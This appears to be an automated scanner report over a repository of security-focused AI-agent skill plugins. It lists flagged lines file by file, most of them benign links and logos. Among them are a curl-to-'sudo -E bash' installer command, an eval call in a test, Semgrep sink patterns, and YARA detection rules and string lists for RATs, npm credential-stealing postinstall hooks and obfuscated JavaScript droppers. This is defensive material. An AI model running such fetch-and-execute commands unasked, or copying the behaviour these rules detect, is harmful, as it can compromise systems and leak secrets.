    { url = "https://files.pythonhosted.org/packages/94/1d/06e9598799bd119e56f6e431d42c2f3a5c6dee858a5b6ad7633cc4d670aa/tree_sitter_sql-0.3.11-cp310-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:03cc164fcf7b1f711e7d939aeb4d1f62c76f4162e081c70
  • Network accessline 288
    { url = "https://files.pythonhosted.org/packages/52/e9/a7afd7f68ce165c040ce50e67bb05553784a8e17f37e057405d693fc869d/tree_sitter_sql-0.3.11-cp310-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:0e22ea8de690dd9960d8c0c36c4cd25417b084e1e29c91ac
  • Network accessline 289
    { url = "https://files.pythonhosted.org/packages/eb/b3/57ff42dadd33c06fabe6c725de50e1625e1060f1571cc21a9260febadc1f/tree_sitter_sql-0.3.11-cp310-abi3-win_amd64.whl", hash = "sha256:c57b877702d218c0856592d33320c02b2dc8411d8820b3bf7b81be86c54
  • Network accessline 290
    { url = "https://files.pythonhosted.org/packages/77/60/f10b8551f435d57a4748820ee30e66df2682820b2972375c2b89d2e5fb10/tree_sitter_sql-0.3.11-cp310-abi3-win_arm64.whl", hash = "sha256:8a1e42f0a2c9b01b23074708ecf5b8d21b9a0440e3dff279d8cf466cdf1

plugins/trailmark/skills/trailmark-finding-triage/SKILL.md

plugins/trailmark/skills/trailmark-finding-triage/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/trailmark/skills/trailmark-finding-triage/scripts/evidence_packet.py

  • Executable scriptline 1
    #!/usr/bin/env -S uv run --script

plugins/trailmark/skills/trailmark-finding-triage/scripts/test_evidence_packet.py

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 59
    return eval(expr)

plugins/trailmark/skills/trailmark-review-gate/SKILL.md

plugins/trailmark/skills/trailmark-review-gate/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/trailmark/skills/trailmark-structural/SKILL.md

  • Broad permissionsline 1
    Bash Read Grep Glob

plugins/trailmark/skills/trailmark-structural/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/trailmark/skills/trailmark-summary/SKILL.md

  • Broad permissionsline 1
    Bash Read Grep Glob

plugins/trailmark/skills/trailmark-summary/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/trailmark/skills/trailmark-variant-neighborhood/SKILL.md

plugins/trailmark/skills/trailmark-variant-neighborhood/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/trailmark/skills/trailmark/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/trailmark/skills/vector-forge/SKILL.md

  • Network accessline 383
    See [references/lessons-learned.md](references/lessons-learned.md) §14 and the upstream [vectorgen guide](https://github.com/C2SP/wycheproof/blob/main/doc/vectorgen.md)
  • Network accessline 384
    §14 and the upstream [vectorgen guide](https://github.com/C2SP/wycheproof/blob/main/doc/vectorgen.md) for the current workflow and commands.
  • Network accessline 385
    [vectorgen guide](https://github.com/C2SP/wycheproof/blob/main/doc/vectorgen.md)

plugins/trailmark/skills/vector-forge/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/trailmark/skills/vector-forge/references/lessons-learned.md

  • Network accessline 173
    `github.com/c2sp/wycheproof/vectorgen` API instead of invoking the CLI. Follow the upstream [vectorgen guide](https://github.com/C2SP/wycheproof/blob/main/doc/vectorgen.md)
  • Network accessline 174
    CLI. Follow the upstream [vectorgen guide](https://github.com/C2SP/wycheproof/blob/main/doc/vectorgen.md) for current requirements, commands, envelope shapes, and validation.**
  • Network accessline 175
    [vectorgen guide](https://github.com/C2SP/wycheproof/blob/main/doc/vectorgen.md)

plugins/trailmark/skills/vector-forge/references/mutation-frameworks.md

  • Dangerous shell operationline 305
    `sudo apt-get install clang-<version>`.
  • Network accessline 309
    Go to the [Mull releases page](https://github.com/mull-project/mull/releases/latest) and download the asset matching your LLVM version, platform, and
  • Dangerous shell operationline 342
    sudo mkdir -p /usr/local/bin /usr/local/lib
  • Dangerous shell operationline 343
    sudo cp usr/local/bin/mull-runner-* /usr/local/bin/
  • Dangerous shell operationline 344
    sudo cp usr/local/bin/mull-reporter-* /usr/local/bin/
  • Dangerous shell operationline 345
    sudo cp usr/local/lib/mull-ir-frontend-* /usr/local/lib/
  • Network accessline 363
    # Option A: Cloudsmith APT repository curl -1sLf \
  • Dangerous shell operationline 364
    curl -1sLf    'https://dl.cloudsmith.io/public/mull-project/mull-stable/setup.deb.sh'    | sudo -E bash
  • Network accessline 364
    curl -1sLf \
  • Network accessline 365
    'https://dl.cloudsmith.io/public/mull-project/mull-stable/setup.deb.sh' \
  • Dangerous shell operationline 366
    | sudo -E bash
  • Dangerous shell operationline 367
    sudo apt-get update
  • Dangerous shell operationline 368
    sudo apt-get install mull-19  # match your LLVM version
  • Dangerous shell operationline 373
    sudo dpkg -i Mull-19-*.deb
  • Network accessline 379
    # Option A: Cloudsmith RPM repository curl -1sLf \
  • Dangerous shell operationline 380
    curl -1sLf    'https://dl.cloudsmith.io/public/mull-project/mull-stable/setup.rpm.sh'    | sudo -E bash
  • Network accessline 380
    curl -1sLf \
  • Network accessline 381
    'https://dl.cloudsmith.io/public/mull-project/mull-stable/setup.rpm.sh' \
  • Dangerous shell operationline 382
    | sudo -E bash
  • Dangerous shell operationline 383
    sudo dnf install mull-20  # match your LLVM version
  • Dangerous shell operationline 388
    sudo rpm -i Mull-20-*.rpm

plugins/variant-analysis/skills/variant-analysis/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/variant-analysis/skills/variant-analysis/references/root-cause.md

  • Dangerous shell operationline 24
    1. **What operation is dangerous?** (`eval()`, `system()`, raw SQL, an authorization check)
  • Dangerous shell operationline 35
    - "User input reaches `eval()` without sanitization"

plugins/variant-analysis/skills/variant-analysis/resources/semgrep/javascript.yaml

  • Dangerous shell operationline 26
    - pattern: eval($SINK)
  • Dangerous shell operationline 56
    - pattern: eval(...)
  • Dangerous shell operationline 59
    - pattern-not: eval("...")

plugins/variant-analysis/skills/variant-analysis/resources/semgrep/python.yaml

  • Access to secretsline 22
    [Credential-related source omitted]
  • Dangerous shell operationline 33
    - pattern: eval($SINK)
  • Dangerous shell operationline 34
    - pattern: exec($SINK)

plugins/vulnerability-triage-brocards/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Alexis Challande",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

plugins/vulnerability-triage-brocards/skills/vulnerability-triage-brocards/SKILL.md

  • Network accessline 22
    The 7 brocards are adapted from William Woodruff's ["Brocards for vulnerability triage"](https://vulnbrocards.com/)
  • Network accessline 23
    ["Brocards for vulnerability triage"](https://vulnbrocards.com/)

plugins/vulnerability-triage-brocards/skills/vulnerability-triage-brocards/references/brocards-detail.md

  • Network accessline 174
    |----------|---------|-----------| | ReDoS with negligible practical impact, but fixing it breaks thousands of downstream packages | DISMISS | Remediation disruption far exceeds the vulnerability's marginal impact | | [CVE-2026-4539](https:
  • Network accessline 175
    | ReDoS with negligible practical impact, but fixing it breaks thousands of downstream packages | DISMISS | Remediation disruption far exceeds the vulnerability's marginal impact | | [CVE-2026-4539](https://nvd.nist.gov/vuln/detail/CVE-2026
  • Network accessline 176
    | [CVE-2026-4539](https://nvd.nist.gov/vuln/detail/CVE-2026-4539) against pygments: unfounded medium-severity report affecting tens of thousands of deps | DISMISS | The report itself caused more harm (forced dependency updates, CI breakage)

plugins/writing-lean-proofs/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Fredrik Dahlgren",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

plugins/writing-lean-proofs/skills/writing-lean-proofs/references/library-design.md

  • Network accessline 37
    For multi-contributor projects, consider a [leanblueprint](https://github.com/PatrickMassot/leanblueprint) — a
  • Network accessline 38
    [leanblueprint](https://github.com/PatrickMassot/leanblueprint) — a

plugins/writing-lean-proofs/skills/writing-lean-proofs/references/linting.md

  • Network accessline 71
    Do **not** enable `linter.mathlibStandardSet` wholesale just because a project depends on Mathlib. At Mathlib commit [`50a1a360`](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Init.le
  • Network accessline 72
    depends on Mathlib. At Mathlib commit [`50a1a360`](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Init.lean), the set contains 26 lints with four different jobs:
  • Network accessline 73
    [`50a1a360`](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Init.lean),
  • Network accessline 177
    The behavior classifications above come from the corresponding current Mathlib implementations: [auxiliary names](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/AuxLemma.
  • Network accessline 178
    Mathlib implementations: [auxiliary names](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/AuxLemma.lean),
  • Network accessline 179
    [flexible tactics](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/FlexibleLinter.lean),
  • Network accessline 180
    [`#` commands](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/HashCommandLinter.lean),
  • Network accessline 181
    [legacy `obtain`](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/OldObtain.lean),
  • Network accessline 182
    [private modules](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/PrivateModule.lean),
  • Network accessline 183
    [deprecated syntax](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/DeprecatedSyntaxLinter.lean),
  • Network accessline 184
    [general style](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/Style.lean),
  • Network accessline 185
    [docstrings](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/DocString.lean),
  • Network accessline 186
    [empty lines](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/EmptyLine.lean),
  • Network accessline 187
    [headers](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/Header.lean),
  • Network accessline 188
    [multiple goals](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/Multigoal.lean),
  • Network accessline 189
    [whitespace](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/Whitespace.lean),
  • Network accessline 190
    and [unused instances](https://github.com/leanprover-community/mathlib4/blob/50a1a3609f97d1a965d8eaba5088d846dab11dce/Mathlib/Tactic/Linter/UnusedInstancesInType.lean).

plugins/writing-lean-proofs/skills/writing-lean-proofs/references/naming-conventions.md

  • Network accessline 5
    (`add_le_add_left`, `mul_pos`, `isOpen_iUnion`) instead of searching, and lets you name your own lemmas so others can guess them. Source: the official [naming guide](https://leanprover-community.github.io/contribute/naming.html).
  • Network accessline 7
    [naming guide](https://leanprover-community.github.io/contribute/naming.html).

plugins/writing-lean-proofs/skills/writing-lean-proofs/references/proof-style.md

  • Network accessline 79
    Mathlib's [style guide](https://leanprover-community.github.io/contribute/style.html)
  • Network accessline 80
    [style guide](https://leanprover-community.github.io/contribute/style.html)

plugins/writing-lean-proofs/skills/writing-lean-proofs/references/tactics.md

  • Network accessline 222
    - Yaël Dillies and Paul Lezeau,   [Fantastic Simprocs and How to Write Them](https://leanprover-community.github.io/blog/posts/simprocs-tutorial/)
  • Network accessline 223
    [Fantastic Simprocs and How to Write Them](https://leanprover-community.github.io/blog/posts/simprocs-tutorial/)
  • Network accessline 224
    - Yaël Dillies and Paul Lezeau,   [Simp, made simple](https://leanprover-community.github.io/blog/posts/simp-made-simple/) - Mathlib community,
  • Network accessline 225
    [Simp, made simple](https://leanprover-community.github.io/blog/posts/simp-made-simple/)
  • Network accessline 226
    - Mathlib community,   [Metaprogramming gotchas](https://github.com/leanprover-community/mathlib4/wiki/Metaprogramming-gotchas) - Lean community,
  • Network accessline 227
    [Metaprogramming gotchas](https://github.com/leanprover-community/mathlib4/wiki/Metaprogramming-gotchas)
  • Network accessline 228
    - Lean community,   [Metaprogramming in Lean 4: `MetaM`](https://leanprover-community.github.io/lean4-metaprogramming-book/main/04_metam.html)   and [Tactics](https://leanprover-community.github.io/lean4-metaprogramming-book/main/09_tactics
  • Network accessline 229
    [Metaprogramming in Lean 4: `MetaM`](https://leanprover-community.github.io/lean4-metaprogramming-book/main/04_metam.html)
  • Network accessline 230
    and [Tactics](https://leanprover-community.github.io/lean4-metaprogramming-book/main/09_tactics.html)
  • Network accessline 232
    [trace messages and trace-class design](https://leanprover-community.github.io/mathlib4_docs/Lean/Util/Trace.html)
  • Network accessline 236
    - Kyle Miller on   [`withoutRecover` for generated `evalTactic` code](https://leanprover-community.github.io/archive/stream/217875-Is-there-code-for-X%3F/topic/pretty.20print.20of.20Nat.html)
  • Network accessline 237
    [`withoutRecover` for generated `evalTactic` code](https://leanprover-community.github.io/archive/stream/217875-Is-there-code-for-X%3F/topic/pretty.20print.20of.20Nat.html)
  • Network accessline 238
    - Eric Wieser and Kyle Miller on   [broad exception handling in tactics](https://leanprover-community.github.io/archive/stream/287929-mathlib4/topic/bug.20in.20convert.html) - Jannis Limperg and Sebastian Ullrich on
  • Network accessline 239
    [broad exception handling in tactics](https://leanprover-community.github.io/archive/stream/287929-mathlib4/topic/bug.20in.20convert.html)
  • Network accessline 240
    - Jannis Limperg and Sebastian Ullrich on   [diagnosing unbounded Aesop goal growth](https://leanprover-community.github.io/archive/stream/270676-lean4/topic/aesop.20gets.20stuck.html) - Jannis Limperg on
  • Network accessline 241
    [diagnosing unbounded Aesop goal growth](https://leanprover-community.github.io/archive/stream/270676-lean4/topic/aesop.20gets.20stuck.html)
  • Network accessline 243
    [Aesop's safe-rule and debugging semantics](https://leanprover-community.github.io/archive/stream/270676-lean4/topic/Aesop.20dev.20updates.html)
  • Network accessline 247
    - Jannis Limperg and Asta Halkjær From,   [Aesop: White-Box Best-First Proof Search for Lean](https://people.compute.dtu.dk/ahfrom/aesop-camera-ready.pdf)
  • Network accessline 248
    [Aesop: White-Box Best-First Proof Search for Lean](https://people.compute.dtu.dk/ahfrom/aesop-camera-ready.pdf)
  • Network accessline 249
    - Jannis Limperg,   [Tactic Script Optimisation for Aesop](https://doi.org/10.1145/3703595.3705877) - Sebastian Ullrich and Leonardo de Moura,
  • Network accessline 250
    [Tactic Script Optimisation for Aesop](https://doi.org/10.1145/3703595.3705877)
  • Network accessline 251
    - Sebastian Ullrich and Leonardo de Moura,   [Beyond Notations: Hygienic Macro Expansion for Theorem Proving Languages](https://arxiv.org/abs/2001.10490) - Gabriel Ebner, Sebastian Ullrich, Jared Roesch, Jeremy Avigad, and Leonardo de Moura
  • Network accessline 252
    [Beyond Notations: Hygienic Macro Expansion for Theorem Proving Languages](https://arxiv.org/abs/2001.10490)
  • Network accessline 254
    [A Metaprogramming Framework for Formal Verification](https://lean-lang.org/papers/tactic.pdf)

plugins/yara-authoring/skills/yara-rule-authoring/SKILL.md

  • Access to secretsline 78
    [Credential-related source omitted]
  • Network accessline 346
    description = "Detects Example malware via unique mutex and C2 path"     author = "Your Name <email@example.com>"     reference = "https://example.com/analysis"
  • Network accessline 347
    author = "Your Name <email@example.com>"     reference = "https://example.com/analysis"     date = "2025-01-29"
  • Network accessline 348
    reference = "https://example.com/analysis"
  • Network accessline 447
    **Rule repositories to learn from:** [Neo23x0/signature-base](https://github.com/Neo23x0/signature-base) (17,000+ production rules), [elastic/protections-artifacts](https://github.com/elastic/protections-artifacts) (endpoint-tested), [imp0r
  • Network accessline 449
    **Guides:** [YARA Style Guide](https://github.com/Neo23x0/YARA-Style-Guide) and [YARA Performance Guidelines](https://github.com/Neo23x0/YARA-Performance-Guidelines) (Neo23x0), [YARA-X documentation](https://virustotal.github.io/yara-x/).
  • Network accessline 451
    **macOS specifics:** Apple's own production rules ship at `/System/Library/CoreServices/XProtect.bundle/`; [objective-see](https://objective-see.org/) publishes macOS malware research and samples.

plugins/yara-authoring/skills/yara-rule-authoring/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/yara-authoring/skills/yara-rule-authoring/examples/MAL_Mac_ProtonRAT_Jan25.yar

  • Network accessline 10
    Original source: https://github.com/airbnb/binaryalert
  • Network accessline 11
    Attribution: @mimeframe / Airbnb Security     Reference: https://objective-see.org/blog/blog_0x1D.html */
  • Network accessline 12
    Reference: https://objective-see.org/blog/blog_0x1D.html
  • Network accessline 17
    description = "Detects all Mach-O binary formats including 32-bit, 64-bit, and universal binaries"     author      = "Airbnb BinaryAlert"     reference   = "https://github.com/airbnb/binaryalert"
  • Network accessline 18
    author      = "Airbnb BinaryAlert"     reference   = "https://github.com/airbnb/binaryalert"     date        = "2017-01-01"
  • Network accessline 19
    reference   = "https://github.com/airbnb/binaryalert"
  • Network accessline 33
    description = "Detects macOS Proton RAT via WebSocket library and SSH tunnel strings"     author      = "@mimeframe (Airbnb Security, adapted)"     reference   = "https://objective-see.org/blog/blog_0x1D.html"
  • Network accessline 34
    author      = "@mimeframe (Airbnb Security, adapted)"     reference   = "https://objective-see.org/blog/blog_0x1D.html"     date        = "2017-05-04"
  • Network accessline 35
    reference   = "https://objective-see.org/blog/blog_0x1D.html"
  • Network accessline 67
    description = "Detects macOS Proton RAT keylogger functionality via CoreGraphics event tap APIs"     author      = "Trail of Bits (based on Objective-See research)"     reference   = "https://objective-see.org/blog/blog_0x1D.html"
  • Network accessline 68
    author      = "Trail of Bits (based on Objective-See research)"     reference   = "https://objective-see.org/blog/blog_0x1D.html"     date        = "2025-01-30"
  • Network accessline 69
    reference   = "https://objective-see.org/blog/blog_0x1D.html"
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]

plugins/yara-authoring/skills/yara-rule-authoring/examples/MAL_NPM_SupplyChain_Jan25.yar

  • Network accessline 20
    description = "Detects malicious wallet-drainer code from chalk/debug npm supply-chain compromise"     author      = "Stairwell Threat Research (adapted)"     reference   = "https://stairwell.com/resources/how-to-detect-npm-package-manager-
  • Network accessline 21
    author      = "Stairwell Threat Research (adapted)"     reference   = "https://stairwell.com/resources/how-to-detect-npm-package-manager-supply-chain-attacks-with-yara/"     date        = "2025-09-11"
  • Network accessline 22
    reference   = "https://stairwell.com/resources/how-to-detect-npm-package-manager-supply-chain-attacks-with-yara/"
  • Network accessline 43
    description = "Detects malicious npm packages targeting ERC-20 token operations"     author      = "Trail of Bits (based on Stairwell research)"     reference   = "https://github.com/chalk/chalk/issues/656"
  • Network accessline 44
    author      = "Trail of Bits (based on Stairwell research)"     reference   = "https://github.com/chalk/chalk/issues/656"     date        = "2025-01-30"
  • Network accessline 45
    reference   = "https://github.com/chalk/chalk/issues/656"
  • Network accessline 71
    description = "Detects hidden code using zero-width Unicode characters (os-info-checker-es6 technique)"     author      = "Trail of Bits (based on Veracode research)"     reference   = "https://www.veracode.com/blog/security-news/npm-packag
  • Network accessline 72
    author      = "Trail of Bits (based on Veracode research)"     reference   = "https://www.veracode.com/blog/security-news/npm-package-uses-unicode-invisible-characters-hide-backdoor-code"     date        = "2025-01-30"
  • Network accessline 73
    reference   = "https://www.veracode.com/blog/security-news/npm-package-uses-unicode-invisible-characters-hide-backdoor-code"
  • Network accessline 97
    description = "Detects patterns similar to event-stream/flatmap-stream backdoor"     author      = "Trail of Bits (based on npm security advisory)"     reference   = "https://github.com/dominictarr/event-stream/issues/116"
  • Network accessline 98
    author      = "Trail of Bits (based on npm security advisory)"     reference   = "https://github.com/dominictarr/event-stream/issues/116"     date        = "2025-01-30"
  • Network accessline 99
    reference   = "https://github.com/dominictarr/event-stream/issues/116"
  • Network accessline 129
    description = "Detects suspicious npm packages with postinstall hooks accessing credentials and network"     author      = "Trail of Bits"     reference   = "https://blog.phylum.io/npm-supply-chain-attack-patterns/"
  • Network accessline 130
    author      = "Trail of Bits"     reference   = "https://blog.phylum.io/npm-supply-chain-attack-patterns/"     date        = "2025-01-30"
  • Network accessline 131
    reference   = "https://blog.phylum.io/npm-supply-chain-attack-patterns/"
  • Access to secretsline 141
    [Credential-related source omitted]
  • Access to secretsline 142
    [Credential-related source omitted]

plugins/yara-authoring/skills/yara-rule-authoring/examples/MAL_Win_Remcos_Jan25.yar

  • Network accessline 11
    Original source: https://github.com/elastic/protections-artifacts
  • Network accessline 18
    description = "Detects Remcos RAT via unique watchdog mutex name and restart status strings"     author      = "Elastic Security (adapted)"     reference   = "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set"
  • Network accessline 19
    author      = "Elastic Security (adapted)"     reference   = "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set"     date        = "2021-06-10"
  • Network accessline 20
    reference   = "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set"
  • Network accessline 45
    description = "Detects Remcos RAT via unique feature directory names and configuration file artifacts"     author      = "Elastic Security (adapted)"     reference   = "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-se
  • Network accessline 46
    author      = "Elastic Security (adapted)"     reference   = "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set"     date        = "2023-06-23"
  • Network accessline 47
    reference   = "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set"
  • Network accessline 73
    description = "Detects Remcos RAT agent initialization messages and credential theft status strings"     author      = "Elastic Security (adapted)"     reference   = "https://github.com/elastic/protections-artifacts"
  • Network accessline 74
    author      = "Elastic Security (adapted)"     reference   = "https://github.com/elastic/protections-artifacts"     date        = "2025-01-30"
  • Network accessline 75
    reference   = "https://github.com/elastic/protections-artifacts"
  • Access to secretsline 91
    [Credential-related source omitted]

plugins/yara-authoring/skills/yara-rule-authoring/examples/SUSP_CRX_SuspiciousPermissions.yar

  • Network accessline 22
    description = "Detects Chrome extensions with dangerous permission combinations that enable data exfiltration"     author      = "YARA Skill Example <yara-authoring@example.com>"     reference   = "https://developer.chrome.com/docs/extensio
  • Network accessline 23
    author      = "YARA Skill Example <yara-authoring@example.com>"     reference   = "https://developer.chrome.com/docs/extensions/reference/permissions-list"     date        = "2025-01-29"
  • Network accessline 24
    reference   = "https://developer.chrome.com/docs/extensions/reference/permissions-list"
  • Network accessline 42
    perm == "<all_urls>" or         perm == "*://*/*" or         perm == "http://*/*" or
  • Network accessline 43
    perm == "*://*/*" or         perm == "http://*/*" or         perm == "https://*/*"
  • Network accessline 44
    perm == "http://*/*" or
  • Network accessline 45
    perm == "https://*/*"
  • Network accessline 52
    description = "Detects Chrome extensions requesting debugger permission - can modify any page and intercept traffic"     author      = "YARA Skill Example <yara-authoring@example.com>"     reference   = "https://developer.chrome.com/docs/ex
  • Network accessline 53
    author      = "YARA Skill Example <yara-authoring@example.com>"     reference   = "https://developer.chrome.com/docs/extensions/reference/api/debugger"     date        = "2025-01-29"
  • Network accessline 54
    reference   = "https://developer.chrome.com/docs/extensions/reference/api/debugger"
  • Network accessline 74
    description = "Detects Chrome extensions with permissions enabling credential/data theft"     author      = "YARA Skill Example <yara-authoring@example.com>"     reference   = "https://example.com/crx-threat-research"
  • Network accessline 75
    author      = "YARA Skill Example <yara-authoring@example.com>"     reference   = "https://example.com/crx-threat-research"     date        = "2025-01-29"
  • Network accessline 76
    reference   = "https://example.com/crx-threat-research"
  • Network accessline 114
    description = "Detects extensions matching known malicious permission profile hash cluster"     author      = "YARA Skill Example <yara-authoring@example.com>"     reference   = "https://example.com/crx-permhash-research"
  • Network accessline 115
    author      = "YARA Skill Example <yara-authoring@example.com>"     reference   = "https://example.com/crx-permhash-research"     date        = "2025-01-29"
  • Network accessline 116
    reference   = "https://example.com/crx-permhash-research"

plugins/yara-authoring/skills/yara-rule-authoring/examples/SUSP_JS_Obfuscation_Jan25.yar

  • Network accessline 20
    description = "Detects JavaScript obfuscated by obfuscator.io (common in malware)"     author      = "@imp0rtp3 (adapted)"     reference   = "https://github.com/imp0rtp3/js-yara-rules"
  • Network accessline 21
    author      = "@imp0rtp3 (adapted)"     reference   = "https://github.com/imp0rtp3/js-yara-rules"     date        = "2021-01-01"
  • Network accessline 22
    reference   = "https://github.com/imp0rtp3/js-yara-rules"
  • Network accessline 62
    description = "Detects SocGholish fake update JavaScript dropper via ActiveX and bracket notation patterns"     author      = "Nils Kuhnert (adapted)"     reference   = "https://github.com/imp0rtp3/js-yara-rules"
  • Network accessline 63
    author      = "Nils Kuhnert (adapted)"     reference   = "https://github.com/imp0rtp3/js-yara-rules"     date        = "2021-03-29"
  • Network accessline 64
    reference   = "https://github.com/imp0rtp3/js-yara-rules"
  • Network accessline 104
    description = "Detects JavaScript injection patterns that load external scripts"     author      = "Josh Trombley (adapted)"     reference   = "https://github.com/imp0rtp3/js-yara-rules"
  • Network accessline 105
    author      = "Josh Trombley (adapted)"     reference   = "https://github.com/imp0rtp3/js-yara-rules"     date        = "2021-09-02"
  • Network accessline 106
    reference   = "https://github.com/imp0rtp3/js-yara-rules"
  • Network accessline 131
    description = "Detects JavaScript with base64-encoded payloads commonly used in injection attacks"     author      = "Josh Trombley (adapted)"     reference   = "https://github.com/imp0rtp3/js-yara-rules"
  • Network accessline 132
    author      = "Josh Trombley (adapted)"     reference   = "https://github.com/imp0rtp3/js-yara-rules"     date        = "2021-09-02"
  • Network accessline 133
    reference   = "https://github.com/imp0rtp3/js-yara-rules"
  • Network accessline 155
    description = "Detects eval + decode chains commonly used in JavaScript malware"     author      = "Trail of Bits"     reference   = "https://blog.malwarebytes.com/threat-analysis/2020/10/kraken-attack-uses-eval-to-execute-javascript/"
  • Network accessline 156
    author      = "Trail of Bits"     reference   = "https://blog.malwarebytes.com/threat-analysis/2020/10/kraken-attack-uses-eval-to-execute-javascript/"     date        = "2025-01-30"
  • Network accessline 157
    reference   = "https://blog.malwarebytes.com/threat-analysis/2020/10/kraken-attack-uses-eval-to-execute-javascript/"

plugins/yara-authoring/skills/yara-rule-authoring/references/strings.md

  • Network accessline 166
    $bad = "child_process" $bad = "process.env" $bad = "fetch("
  • Network accessline 167
    $bad = "process.env" $bad = "fetch(" $bad = "axios"
  • Network accessline 168
    $bad = "fetch("
  • Possible obfuscationline 336
    // Matches: var _0x1234 = ["\x48\x65\x6c\x6c\x6f", ...]
  • Network accessline 399
    // REJECT without additional context $bad = "fetch("           // Every web app
  • Network accessline 400
    $bad = "fetch("           // Every web app
  • Access to secretsline 421
